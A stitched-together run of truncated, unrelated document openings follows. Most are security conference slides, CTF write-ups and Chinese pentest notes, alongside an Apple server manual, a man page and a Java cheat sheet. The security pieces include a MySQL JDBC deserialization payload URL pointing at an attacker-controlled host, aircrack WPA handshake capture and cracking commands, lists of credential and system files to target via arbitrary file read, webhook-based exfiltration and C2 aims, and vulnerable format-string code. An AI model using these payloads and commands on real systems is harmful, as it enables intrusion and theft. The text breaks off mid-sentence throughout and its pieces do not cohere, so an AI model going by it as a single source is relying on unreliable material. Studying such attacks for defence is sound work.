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Securing the Tor Network Mike Perry Riverbed Technology Black Hat USA 2007 Defcon 2007 Who am I?  Volunteer Tor developer  Forward+Reverse engineer  Employed by Riverbed (shameless plug)  Leading manufacturer of WAN accelerators  20200X (not percent. X) improvement of CIFS  550X improvement of MAPI/Exchange  Protocol independent data reduction  > 90% head to head win rate  Outselling Cisco accelerators 2:1 Preaching to the Choir  Don't yet understand consequences of having lives+thoughts archived by IP, bought and sold  Google may not be (that) evil, but what about ISPs, other search engines?  Information can come back to bite in unexpected ways  Divorce cases  Lawsuits  Catalogs/Spam What is Tor?  Volunteer run relay network designed for privacy, anonymity, and censorship resistance.  Client acts as SOCKS proxy  Relays TCP connections (streams)  Multiplexed on encrypted paths (circuits)  Circuits multiplexed over nodetonode TLS/SSL  Circuits route through 3 nodes  Guard, relay, exit Tor Routing Classes of Attack  Passive attacks  Packet and connection timing correlation  Fingerprinting of traffic/usage patterns  Intersection Attacks of multiple attributes of users  Active attacks  Lying about bandwidth to get more traffic  Failing circuits to bias node selection  Modifying application layer traffic at exit Position of Attack  Internal  Node operator  Can differentiate circuits at guard and relay.  Able to differentiate streams per circuit at exit  External  ISP or Echelonstyle adversary  Assumed to be unable to see inside TLS streams  Likely frustrated to a large degree by running Tor as both node and client Attack Points Passive Attacks Active Attacks Application Attacks Questions/Intermission 1 Questions so far? Approaches to Security  Verify node operators (Ha!)  Path selection hacks  Tor up from the floor up  Improve network speed and usability  Scan nodes for modification/reliability  Secure the applications (different threat model) Path Selection Hacks  /16 h


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Key Decoding and Duplication Attacks for the Schlage Primus High-Security Lock David Lawrence Eric Van Albert Robert Johnson locks@mit.edu DEF CON 21 August 3, 2013 dlaw, ervanalb, robj (DEF CON 21) Attacking the Schlage Primus August 3, 2013 1 / 31 Standard pin-tumbler locks Photo credit: user pbroks13 on Wikimedia Commons. Licensed under GFDL or CC-BY-SA-3.0. Vulnerabilities 1 Key duplication: get copies made in any hardware store. 2 Manipulation: susceptible to picking, impressioning, etc. dlaw, ervanalb, robj (DEF CON 21) Attacking the Schlage Primus August 3, 2013 2 / 31 The Schlage Primus Based on a pin-tumbler lock, but with a second independent locking mechanism. Manipulation is possible but extremely diﬃcult. Some people can pick these in under a minute. Most people cannot. We will focus on key duplication and the implications thereof. dlaw, ervanalb, robj (DEF CON 21) Attacking the Schlage Primus August 3, 2013 3 / 31 1 Reverse-engineering the Primus 2 3D modeling Primus keys 3 Fabricating Primus keys 4 What it all means dlaw, ervanalb, robj (DEF CON 21) Attacking the Schlage Primus August 3, 2013 4 / 31 1 Reverse-engineering the Primus 2 3D modeling Primus keys 3 Fabricating Primus keys 4 What it all means dlaw, ervanalb, robj (DEF CON 21) Attacking the Schlage Primus August 3, 2013 5 / 31 Security through patents dlaw, ervanalb, robj (DEF CON 21) Attacking the Schlage Primus August 3, 2013 6 / 31 Look up the patent. . . dlaw, ervanalb, robj (DEF CON 21) Attacking the Schlage Primus August 3, 2013 7 / 31 Primus service manual w3.securitytechnologies.com/IRSTDocs/Manual/108482.pdf (and many other online sources) dlaw, ervanalb, robj (DEF CON 21) Attacking the Schlage Primus August 3, 2013 8 / 31 Sidebar operation DO N O T DU P L I C A T E P AT .NO .4,756,177 PRIMUS Finger pins must be lifted to the correct height. Finger pins must be rotated to the correct angle. dlaw, ervanalb, robj (DEF CON 21) Attacking the Schlage Primus August 3, 2013 9 / 31 Disassemb


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# No Padding, No Problem Category: Crypto, 90 points ## Description > Oracles can be your best friend, they will decrypt anything, except the flag's ciphertext. How will you break it? ## Solution Let's connect to the attached server: ```console (user@kali)-[/media/sf_CTFs/pico/No_Padding_No_Problem] $ nc mercury.picoctf.net 30048 Welcome to the Padding Oracle Challenge This oracle will take anything you give it and decrypt using RSA. It will not accept the ciphertext with the secret message... Good Luck! n: 51257263015582188197648371474129549390905726426257438448153816359702362365658508334422660676137191608574589301862860723036048910648313371474365316649888203989162930646519011433136231329260451213231902920703710354241532734042339059649207865410951756937740333312020743615116676965217774179610963694893894058993 e: 65537 ciphertext: 4630900525813217788908324506108030714601444705261980401094718094759603138876572869225585464832937171107712654868912146981974620187638194979958086597403998901460677636640013168017847942623819676132193036153903064536382635689292213133256195449181769142311263486211152780709880862212814932262615707105931438936 Give me ciphertext to decrypt: ``` We get some RSA values and the ability to decrypt any ciphertext... Except for the provided ciphertext, that is: ``` Give me ciphertext to decrypt: 4630900525813217788908324506108030714601444705261980401094718094759603138876572869225585464832937171107712654868912146981974620187638194979958086597403998901460677636640013168017847942623819676132193036153903064536382635689292213133256195449181769142311263486211152780709880862212814932262615707105931438936 Will not decrypt the ciphertext. Try Again ``` Now, unpadded RSA is [homomorphic](https://en.wikipedia.org/wiki/Homomorphic_encryption), which means that: ``` encrypt(m1) * encrypt(m2) = ((m1**e) * (m2**e)) mod n = (m1 * m2)**e mod n = encrypt(m1 * m2) ``` So, we can take a known value such as `2`, and encrypt it by performing `2**e mod n`. ```python >>> n


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Abusing Web Hooks For Command And Control Dimitry Snezhkov @Op_nomad What we are going to talk about Subject: Safe(er) bidirectional delivery of content and communication across network boundaries with the use of WebHook technology. From: - Hostile networks - Monitored networks - Censored networks - Restricted networks To: - External Hosts under your control. (C&C servers) Purpose: - External Content Retrieval - Internal Content Exfiltration - Shell Execution on External and Internal Hosts Audience Offense  Red Teamers  Pen Testers Defense  DF/IR folks  Sysadmins  Developers  Privacy Advocates  Anyone interested in covert communication Dimitry Snezhkov Opinions expressed are solely my own and do not express the views or opinions of my employer or its products. What I do: - Offensive Testing - Code Hacking - Tool Hacking - Other security work Watson> Are you sure?.. About Meet Defense at their map of the world.  Seek alternative means of effective outbound communication through content proxies.  Maximize adaptive retooling capability for exfiltration.  Minimize discoverability of outbound communication in environments  Use opportunities in targeted environment to overcome restrictions. Context: Strategic Goals  Achieve asynchronous or realtime-asynchronous communication between hostile network and external server under your control.  Attempt to achieve reverse connectivity to hostile networks from external server under your control  Avoid existing detection mechanisms, elevating OpSec capability.  Attempt to avoid censorship in communicating to safe external server under your control. Context: Tactical Goals Technical Mechanisms  Discover HTTP WebHooks concept.  Use WebHooks to Achieve asynchronous unidirectional or bi-directional connectivity with external world.  Develop a tool to shuttle communication over WebHooks. Set The Stage: Players  Offense (RED)  Defense(BLUE)  Content Proxy  Command and Control Server (C2)  C2 Broker  Internal Agent, Client  External Agen


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# Tupper needs help Misc., 5 points ## Description > I forgot the size of my kipod, can you help? k = 1149088036118748153043577013820072408885949020563817247643416097427609454784316480438935765354843225548041192362989341741100573490073448156985503983059433007456621869088528541601531021805434641158022863321604365912330878796519179999743007778309707144803824547692249224938557620335782675957793640790464297377099274055139536447837590517931851109546855273584874094409665031001792923933599279402800139404046854000506331325067964897620998752717795071450855954081334797627968452316244584618935641960635983970619395200199775096694978239798720856064 ## Solution Searching for "Tupper" in the context of CTFs, we arrive to [Tupper's Self-Referential Formula](https://en.wikipedia.org/wiki/Tupper's_self-referential_formula): > Tupper's self-referential formula is a formula that visually represents itself when graphed at a specific location in the (x, y) plane. [This online tool](http://keelyhill.github.io/tuppers-formula/) allows users to view a visual representation, given the value of `k`. The result for the provided `k` is: ![](images/tupper.png) The flag: `KAF{MY_KIPOD_IS_HUGE}`


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Pinworm Man in the middle for metadata @bigezy_(bigezy) @itsasstime (saci) [need to add Introduction section] My previous related  Badger: Blackhat 2014 https://www.blackhat.com/docs/us- 14/materials/us-14-Rogers-Badger-The- Networked-Security-State-Estimation- Toolkit.pdf  Kobra: BsidesLV 2015 https://youtu.be/gOMVOv6VX50 Previous work from other people  IRPtracker https://www.osronline.com/article.cfm?articl e=199  IRPmon https://github.com/MartinDrab/IRPMon Data observations  Inside packets 998,802,444  Outside packets 1,371,775,557  Observed Destinations Firewalled Side 29,829  29,525 resolved via reverse lookup [2016 Observations]  Destinations per https connection up 400 percent for certain media sites  SSL data is streaming out even when the pc is idle.  More details to be added here later Is it 1984?  Mouse Movements  List of sites that track mouse movements from data (will be released at talk)  Key Strokes?  Microphone?  Video? A bit bloated IRP  Previous projects such as IRPtracker (link in attachment) proved interesting, but, sadly this program is limited to 32 bits.  But how to track 64 bit IRB process calls  Luckily there was a great start into this forensic research using an IRP sniffer based on work done by Martin Drab IRPmon IRPmon downfalls  IRPmon was a good start and showed the gaps needed to provide for man in the middle  More precision and information was needed regarding the data flows within the operating system  Device calls needed an in memory datastore so it would be possible to virtualize flows and pinpoint any duplication of input devices within the OS IRP Sniffing  Instrumentation of process access to devices  Devices provide I/O services that can be used by processes to harvest information  Keyboard  Mouse  Microphone  Video Mouse movement  What processes are interested in the mouse movements in your browser?  What network traffic is then generated as a result of these calls?  Use multiple data sources to get access to those things:  1


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The BYOD PEAP Show Mobile Devices Bare Auth Josh Yavor iSEC Partners DEF CON XXI August , Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome A Perfect Storm 1 1noaa.gov Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome PEAP: Pwned Extensible Authentication Protocol Joshua Wright & Brad Antoniewicz - ShmooCon Its amazing to me that lots of people seemed to have missed thisissueinPEAPandotherEAPmethods, asitsstillextremely useful in most of the pen-tests I engage in.  Joshua Wright, May 1 Windows and OS X FreeRADIUS-WPE PEAP and TTLS can be secure when deployed carefully 1http://www.willhackforsushi.com/?page_id=37 Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome Bring Your Own Device All the cool kids are doing it Growth %-% of companies Bring Your Own Deﬁnition EAP Types Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome CloudCracker Moxie Marlinspike, David Hulton, Marsh Ray - DEF CON XX Enterprises who are depending on the mutual authentication properties of MS-CHAPv for connection to their WPA Radius serversshouldimmediatelystartmigratingtosomethingelse.  Moxie Marlinspike, July , 2 Divide and conquer = % in hours 2https://www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/ Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome Take Aways Spoiler Alert Real-world deployments are messy PEAP is unsafe for BYOD environments Impact is enormous Immediate corrective action required No easy ﬁx Users are in control Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome Bottom Line Defense Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome Bottom Line Oﬀense Josh Yavor (iSEC Partners) The BYOD PEAP Show DEF CON XXI, August , / Introduction Welcome Some Disagree In a properly implemented wireless


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Cookie之困 zootrope 清华大学网络与信息安全实验室NISL 走 马 Cookies Lack Integrity: Real-World Implications Xiaofeng Zheng, Jian Jiang, Jinjin Liang, Haixin Duan, Shuo Chen, Tao Wan and Nicholas Weaver USENIX Security '15 https://www.usenix.org/conference/usenixsecurity15/technical-sessions/presentation/zheng 谁忽视了Cookie安全 星巴克 离开星巴克时需要做什么 Cookie基础  用于保持HTTP会话状态/缓存信息  由服务器/脚本写入 Server: Set-Cookie: user=bob; domain=.bank.com; path=/; JS: document.cookie=user=bob; domain=.bank.com; path=/;;  存储于浏览器/传输于HTTP头部 Cookie: user=bob; cart=books; JS: console.log(document.cookie); à user=bob; cart=books;  三元组 [name, domain, path]唯一确定Cookie 写时带属性读时无属性 name, domain, path任一不同则Cookie不同 Set-Cookie: session=secret; domain=.bank.com; path=/; HTTP Cookie: session=secret; http://bank.com 泄露HTTP ② ③ Login ① Cookie: session=secret; ④ X HTTPS https://bank.com Set-Cookie: session=secret; domain=.bank.com; path=/; Cookie: session=secret; HTTPS Cookie基础同源策略(SOP) l Web SOP: [protocol, domain, port] http://www.bank.com http://www.bank.com:8080 https://www.bank.com l Cookie SOP: [domain, path]  仅以domain/path作为同源限制  不区分端口  不区分HTTP / HTTPS 非同源受SOP隔离保护 Cookie: session=secret; domain=.bank.com; path=/; http://bank.com https://bank.com Cookie基础Domain向上通配 l 在对Cookie读写时以通配的方式判断Domain是否有效 Set-Cookie: user1=aaa; domain=.bank.com; path=/; Set-Cookie: user2=bbb; domain=www.bank.com; path=/; Set-Cookie: user3=ccc; domain=.www.bank.com; path=/; Set-Cookie: user4=ddd; domain=other.bank.com; path=/; 写入 当页面为 http://www.bank.com 时 读取 访问 http://www.bank.com Cookie: user1=aaa; user2=bbb; user3=ccc; 接受 接受 接受 拒绝 Cookie: user1=aaa; 访问 http://user.bank.com Cookie基础Path向下通配 Set-Cookie: session=bob; domain=.bank.com; path=/; Set-Cookie: cart=books; domain=.bank.com; path=/buy/; http://bank.com/ Cookie: session=bob; http://bank.com/buy/ Cookie: session=bob; cart=books; 泄露Cookie in HTTPS https://bank.com HTTPS Set-Cookie: session=bob; domain=.bank.com; path=/; ① http://weibo.com <img src=http://non.bank.com /> Cookie: session=bob; ② http://no


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# Aircrack

 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **简介** aircrack 是一个比较出名的用于破解 WEP 和 WPA 加密的无线网络的一款工具由 6 个不同的部分组成 1. aircrack-ng 用于破解 WEP 以及 WPA-PSK 密钥一旦 aircrack-ng 工具收集了足够的信息aircrack-ng 将会分析这些数据并试图确定使用中的密钥 2. airdecap-ng 解读被破解的网络数据包 3. airmon-ng 为使用整个 aircrack-ng 套件配置一个网卡 4. aireplay-ng 在无线网络中产生可能在恢复中的 WEP 密钥所需的流量 5. airodump-ng 捕获被 aircrack-ng 用于破解 WEP 密钥的 802.11 帧 6. tools 为微调提供分类工具箱 **相关文章** - [记一次曲折的WIFI测试之路](https://www.secpulse.com/archives/96964.html) --- **配置无线网卡** - WM Ware(开机后) 虚拟机->可移动设备->Ralink 802.11 n Wlan(显卡型号)->连接(断开与主机的连接) - VBox 虚拟机关机状态下->将设备插入主机->设置->USB 设备->添加->删除除了供应商标识(VendorID)和产品标识(ProductID)之外的参数->开机->插入设备 - 验证是否连接成功 ```bash lsusb airmon-ng ifconfig iwconfig ``` 出现无线网卡型号即为成功 **无线基础命令** ```bash iwlist # 用于对 /proc/net/wireless 文件进行分析,得出无线网卡相关信息 iwlist wlan0 scanning | grep "ESSID" # 查看当前所有的 AP 名 iwconfig iwconfig wlan0 scanning # 扫描无线接入点 iwconfig wlan0 nickname hacking # 添加别名 ``` --- ## 例子 以无线网卡名为 wlan0 举例 ```bash airmon-ng start wlan0 # 启动网卡监听模式 airmon-ng check kill # 关闭干扰程序 airodump-ng wlan0mon # 开启抓包,获取附件无线网络 ``` | 列名 | 含义 |-------------------------------------------|------------------------- |BSSID(Basic Service SetIdentifier) |AP 的 MAC 地址 |PWR(Power) | 信号强度 |Beacons |AP 发出的通告编号, 每个接入点 (AP) 在最低速率 (1M) 时差不多每秒会发送 10 个左右的 beacon, 所以它们能在很远的地方就被发现 |Data | 当前数据传输量 |/s | 过去 10 秒钟内每秒捕获数据分组的数量 |CH(Channel) |AP 所在的频道 |MB |AP 的最大传输速度; MB=11 => 802.11b,MB=22 => 802.11b+, MB>22 => 802.11g; 后面带. 的表示短封包标头, 处理速度快, 更利于破解 |ENC(Encryption) | 使用的加密算法体系 |CIPHER | 检测到的加密算法 |AUTH(Authority) | 认证方式 |ESSID(The Extended Service Set Identifier) |AP 的名称 ```bash airodump-ng -c 6 --bssid E0:24:81:AF:F3:A8 -w wireless wlan0mon # 指定特定的wifi抓握手包,出现 handshake 则抓包成功 # -c 指定信道,上面已经标记目标热点的信道(CH) # -bssid 指定目标路由器的BSSID,就是上面标记的BSSID # -w 指定抓取的数据包保存的目录 aircrack-ng -a2 -b E0:24:81:AF:F3:A8 -w pass.txt wireless-01.cap # 跑包 ``` **使用 hashcat 爆破(只能跑 WPA/WPA2/PSK 加密的


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# Relatively Secure Algorithm Category: Cryptography ## Description > The department of EEvil is plotting something, we found this file on one of the faculty's computers, can you figure out what it is? A text file was attached. ## Solution From the name of the challenge we can guess that it will deal with RSA. Let's check the attached file: ```console root@kali:/media/sf_CTFs/technion/Relatively_Secure_Algorithm# cat message.txt n: 825402695296235131092527557949148073680565936697713051415889293421029386404087786809133592938935623042440715527196520597292373820231062072474925946687326909527522368629975724388127799086004143533106667800998091247742389330432883797178326137254716519621196100994734775290514266572830378500333765897067796562788680689472323096811097130765013612651422495467212972214772718890261379968152205135925701904909039101189937253885371003736074519018221858648225347897987181571275839640491047203059389825550936971094398683210286052266410263866826268586236692135320079545001376164284247052679177411582273091659201220480533559746778789832073166797384358086283378353771172226575876935552196797307187999859754390947734663968491410635801184266690863992131425203127607174511857095265526424765821272294690124489772026301817212579031068294287661070265211790122376389183596252269054368365643460044953455035168757432011941774411665066875107329537717590084288937539003745260571770240109942546025847595253577165758019294931157968125588233441504909248216799233514466849049223331018386938363613854548693694755488670348728528933243830892350215180587991482856241757261724154872929793486588815163210598623606769681731012749290487884299695000130785666275868697293 e: 65537 p: 280693145851087560358485136475976108342257978008607528486634749701745833538861461995719795243519430715824320458062740293112334695997120674698517574893965248980655386253036852590516526170046558734855194835929352168687370770754975844595876582638066358217665906387765670439549998260871185416857041703923427978113823910737


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# Fileread --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **相关文章** - [渗透测试-任意文件读取/下载漏洞](https://mp.weixin.qq.com/s/fpYKgybCQdSd5_AafNvt4w) **相关案例** - [京东商城两处任意目录遍历下载漏洞](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2016-0214222) - [2 Path Traversal Cases](https://jlajara.gitlab.io/web/2020/03/29/Path_Traversal.html) - [电信某分站配置不当导致敏感文件泄露](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-095088) - [一个任意文件读取漏洞记录](https://toutiao.io/posts/423535/app_preview) - [南方周末邮件服务器任意文件读取漏洞](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-045426) - [一次文件读取漏洞的危害升级历程](https://www.freebuf.com/vuls/257629.html) - [任意文件读取拖源码](https://mp.weixin.qq.com/s/ipcg_abnzGMLySrfnKbR0Q) --- ## 利用思路 ### windows **常规配置文件** ``` C:\windows\win.ini //可以用来判断是否为windows系统 C:\boot.ini //查看系统版本 C:\Windows\System32\inetsrv\MetaBase.xml //IIS 配置文件 C:\Windows\repair\sam //存储系统初次安装的密码 C:\Program Files\mysql\my.ini //Mysql 配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root C:\Windows\php.ini //php 配置信息 C:\Windows\my.ini //Mysql 配置信息 ``` **Windows Search索引文件(需要管理员权限)** 这个文件一般特别大,不是很推荐这种利用方法 ``` %ProgramData%\Microsoft\Search\Data\Applications\Windows\Windows.edb ``` **日志文件** %systemroot%\System32\winevt\Logs 目录下 ``` Application.evtx ConnectionInfo.evtx Error.evtx HardwareEvents.evtx Internet Explorer.evtx Key Management Service.evtx Media Center.evtx Microsoft-Windows-API-Tracing%4Operational.evtx Microsoft-Windows-AppID%4Operational.evtx Microsoft-Windows-Application Server-Applications%4Admin.evtx Microsoft-Windows-Application Server-Applications%4Operational.evtx Microsoft-Windows-Application-Experience%4Problem-Steps-Recorder.evtx Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx Microsoft-Windows-Application-Experience%4Program-Compatibility-Troubleshooter.evtx Microsoft-Windows-Application-Experience%4Program-Inventory.evtx Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx ``` **命令行历史记录** ``` %userprofile%\AppData\Roamin


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Mac OS X Server Java Application Server Administration For Version 10.3 or Later Mac OS X Server Java Application Server Administration For Version 10.3 or Later January 22, 2004  Apple Computer, Inc.  2003 Apple Computer, Inc. All rights reserved. No part of this publication may be reproduced, stored in a retrieval system, or transmitted, in any form or by any means, mechanical, electronic, photocopying, recording, or otherwise, without prior written permission of Apple Computer, Inc., with the following exceptions: Any person is hereby authorized to store documentation on a single computer for personal use only and to print copies of documentation for personal use provided that the documentation contains Apples copyright notice. The Apple logo is a trademark of Apple Computer, Inc. Use of the keyboard Apple logo (Option-Shift-K) for commercial purposes without the prior written consent of Apple may constitute trademark infringement and unfair competition in violation of federal and state laws. No licenses, express or implied, are granted with respect to any of the technology described in this book. Apple retains all intellectual property rights associated with the technology described in this book. This book is intended to assist application developers to develop applications only for Apple-labeled or Apple-licensed computers. Every effort has been made to ensure that the information in this document is accurate. Apple is not responsible for typographical errors. Apple Computer, Inc. 1 Infinite Loop Cupertino, CA 95014 408-996-1010 Apple, the Apple logo, Mac, and Mac OS are trademarks or Apple Computer, Inc., registered in the United States and other countries. Finder is a trademark or Apple Computer, Inc. Java and all Java-based trademarks are trademarks or registered trademarks of Sun Microsystems, Inc. in the U.S. and other countries. Simultaneously published in the United States and Canada. Even though Apple has reviewed this manual, APPLE MAKES NO WARRANTY OR


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Advanced Format String Attacks Presented by Paul Haas Contents  Background  Abstract  Definition  Context  Technique  How-to  Tools  Exploits  Conclusion  Q&A Background  Lead Web Application Security Engineer at Redspin, Inc with over 4 years experience in hundreds of audits.  This talk is not associated with my company  Defcon 13 CTF winner (Shellphish 2005)  Alumni of UCSBs Computer Security Group  Mario Kart DS: Rob in Tank on Rainbow Road In #include <stdio.h> int main(int argc, char **argv){ printf(argv[1]); } Out Reading arbitrary locations Writing arbitrary locations Executing arbitrary code Get a shell Without RTFM and Writing it yourself! Format String Attack  Software vulnerability in certain C functions that perform string formatting leading to the potential to write arbitrary data to arbitrary locations  Despite easy solutions, vulnerabilities and ignorance of issue still exist, hence the talk  Common in hackademic exercises  Talk assumes you have a basic idea of the attack (%x, %s, %n)  Talk details technique but tools do not require it Brief History  1990: csh Interaction Effect crash: !o%8f  1999-09-17: proftpd 1.2.0pre6 Argument attack/ snprintf Vulnerability (BID 650)  2000-06-22: wu-ftpd 2.6.0 Remote Format String Stack Overwrite Vulnerability (BID 1387)  2000-09-09: Format String Attacks whitepaper by Tim Newsham  2010-06-30: KVIrc DCC Directory Traversal and Multiple Format String Vulnerabilities (BID 40746) Old Technique  Manual popping up of stack using string of %xs  Get overwrite address using other technique  Search for shellcode in core after SEGFAULT  Characters written using long value in %x or %c  Final write to address using %n  Frequent RTFM  Write once, use once Current Technique  %p gives detailed information of stack location  %s allows us to view known stack addresses as strings  %NNc controls number of bytes written  %hhn allows single byte writes  Direct parameter access shortens format string: %5$n = %p%p%p%p%p%n New Technique


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MySQL-JDBC反序列化 漏洞原理 参考文章 eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack 小白看得懂的MySQL JDBC 反序列化漏洞分析 MySQL JDBC 客户端反序列化漏洞分析 MySQL JDBC反序列化漏洞 上面这个是BlackHat Europe 2019议题中的利用链在连接数据库的过程中可以触发漏洞连接 的条件 jdbc:mysql://attacker/db? queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor &autoDeserialize=true 需要设置这个 queryInterceptors 属性 ServerStatusDiffInterceptor 是一个拦截器在 JDBC URL 中设定属性 queryInterceptors 为 ServerStatusDiffInterceptor 时执行查询语句会调用拦截器的 preProcess 和 postProcess 方法进而通过上述调用链最终调用 getObject() 方法 payload payload 有两种触发方式 SHOW SESSION STATUS 和 SHOW COLLATION 然后不同的 mysql- connector-java 版本之间 payload 存在区别 ServerStatusDiffInterceptor触发 8.x jdbc:mysql://127.0.0.1:3306/mysql? serverTimezone=UTC&characterEncoding=utf8&useSSL=false&queryInterceptors=com.my sql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" 参 数名称 queryInterceptors 6.x jdbc:mysql://127.0.0.1:3306/mysql? serverTimezone=UTC&characterEncoding=utf8&useSSL=false&statementInterceptors=co m.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" 参数名称 statementInterceptors >=5.1.11 jdbc:mysql://127.0.0.1:3306/mysql? serverTimezone=UTC&characterEncoding=utf8&useSSL=false&statementInterceptors=co m.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" 参 数名称 statementInterceptors <=5.1.10 && >=5.1.0 网上的文章都说同上但是需要连接后执行查询但是我从连接流量当中并没有发现请求了 SHOW SESSION STATUS 语句但是发现他自动请求了 SHOW COLLATION 语句不过没有用到反序 列化 5.0.* 没有payload detectCustomCollations触发 >=5.1.41 无payload 5.1.29-5.1.40 jdbc:mysql://127.0.0.1:3306/test? detectCustomCollations=true&autoDeserialize=true 5.1.28-5.1.19 jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc <5.1.19 说是没有payload但是之前测试 5.1.2 版的时候请求了 SHOW COLLATION 语句好吧没有触 发反序列化所以确实没有 payload 漏洞复现 此处复现需要手动编写一个 mysql 服务端然后控制客户端连接客户端自动执行 SHOW SESSION STATUS 语句时返回我们的恶意 payload  jdbc 版本 5.1.39 先来看看一次连接所发送的请求数据包 package com; import java.sql.Connection; import java.sql.DriverManager; import java.sql.Pre


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Spartan 0day & Exploit exp-sky who am i  Tencents Xuanwu Lab  The security of browser  Vulnerability discovery  Exploit technique  APT attacks detection Spartan 0day & Exploit  1Isolation Heap  2Memory Protection  3Spartan Memory Manage  4CFG  5Exploit Bypass All  60day  7Q&A Isolation Heap //init heapHandle = HeapCreate(0, 0, 0); g_hIsolatedHeap = heapHandle; //use struct CElement* CButton::CreateElement(CHtmTag *a1, CDoc *a2) { void *mem = MemoryProtection::HeapAllocClear<1>(g_hIsolatedHeap, 0x5Cu); if ( Abandonment::CheckAllocationUntyped(mem) ) result = CButton::CButton(*((_DWORD *)a1 + 1), a2); else result = 0; return result; } Use Isolation Heap Alloc Memory Check Isolation Heap Isolated Heap Process Heap UAF Object Outer Object Use Spartan 0day & Exploit  1Isolation Heap  2Memory Protection  3Spartan Memory Manage  4CFG  5Exploit Bypass All  60day  7Q&A Memory Protection Memory Protection Heap UAF Object Not free Outer Object Not use Spartan 0day & Exploit  1Isolation Heap  2Memory Protection  3Spartan Memory Manage  4CFG  5Exploit Bypass All  60day  7Q&A Spartan Memory Manage  New Mode MemoryGC  init : chakra!MemProtectHeapCreate  alloc : chakra!MemProtectHeapRootAlloc  free : chakra!MemProtectHeapUnrootAndZero Spartan Memory Manage  New Mode //init MemoryProtection::InitializeProtectionFeature |-MemoryProtection_Mode = 3; |-MemoryProtection::CMemoryGC::InitializeFeature |-chakra!MemProtectHeapCreate Spartan Memory Manage  New Mode MemoryProtection::ReportHeapSize MemoryProtection::HeapAlloc<0> MemoryProtection::HeapAllocClear<0> MemoryProtection::HeapAlloc<1> MemoryProtection::HeapAllocClear<1> MemoryProtection::HeapReAlloc<1> MemoryProtection::HeapReAlloc<0> MemoryProtection::InitializeProtectionFeature Spartan Memory Manage  New Mode //alloc MemoryProtection::HeapAllocClear<1> |-MemoryProtection_Mode |- 0,1,2 : HeapAlloc Isolation |- 3 : chakra!MemProtectHeapRootAlloc |- Memory::Recycler Spartan Memory Manage  New Mode //free MemoryProtection::HeapFree |-


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.\" Copyright (c) 1990, 1991 Regents of the University of California. .\" All rights reserved. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in the .\" documentation and/or other materials provided with the distribution. .\" 3. All advertising materials mentioning features or use of this software .\" must display the following acknowledgement: .\" This product includes software developed by the University of .\" California, Berkeley and its contributors. .\" 4. Neither the name of the University nor the names of its contributors .\" may be used to endorse or promote products derived from this software .\" without specific prior written permission. .\" .\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" .\" @(#)stdio.3 6.5 (Berkeley) 5/6/91 .\" .\" Converted for Linux, Mon Nov 29 16:07:22 1993, faith@cs.unc.edu .\" Modified, 2001-12-26, aeb .\" .TH STDIO 3 2001-12-26


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--- title: Java date: 2021-03-10 19:50:01 background: bg-[#d33731] tags: - object-oriented - class categories: - Programming intro: | This cheat sheet is a crash course for Java beginners and help review the basic syntax of the Java language. plugins: - tooltip - copyCode --- Getting Started -------- ### Hello.java {.row-span-2} ```java public class Hello { // main method public static void main(String[] args) { // Output: Hello, world! System.out.println("Hello, world!"); } } ``` Compiling and running ```shell script $ javac Hello.java $ java Hello Hello, world! ``` ### Variables ```java int num = 5; float floatNum = 5.99f; char letter = 'D'; boolean bool = true; String site = "quickref.me"; ``` ### Primitive Data Types {.row-span-2} | Data Type | Size | Default | Range | |-----------|--------|---------|---------------------| | `byte` | 1 byte | 0 | -128 to 127 | | `short` | 2 byte | 0 | -215 to 215-1 | | `int` | 4 byte | 0 | -231 to 231-1 | | `long` | 8 byte | 0 | -263 to 263-1 | | `float` | 4 byte | 0.0f | _N/A_ | | `double` | 8 byte | 0.0d | _N/A_ | | 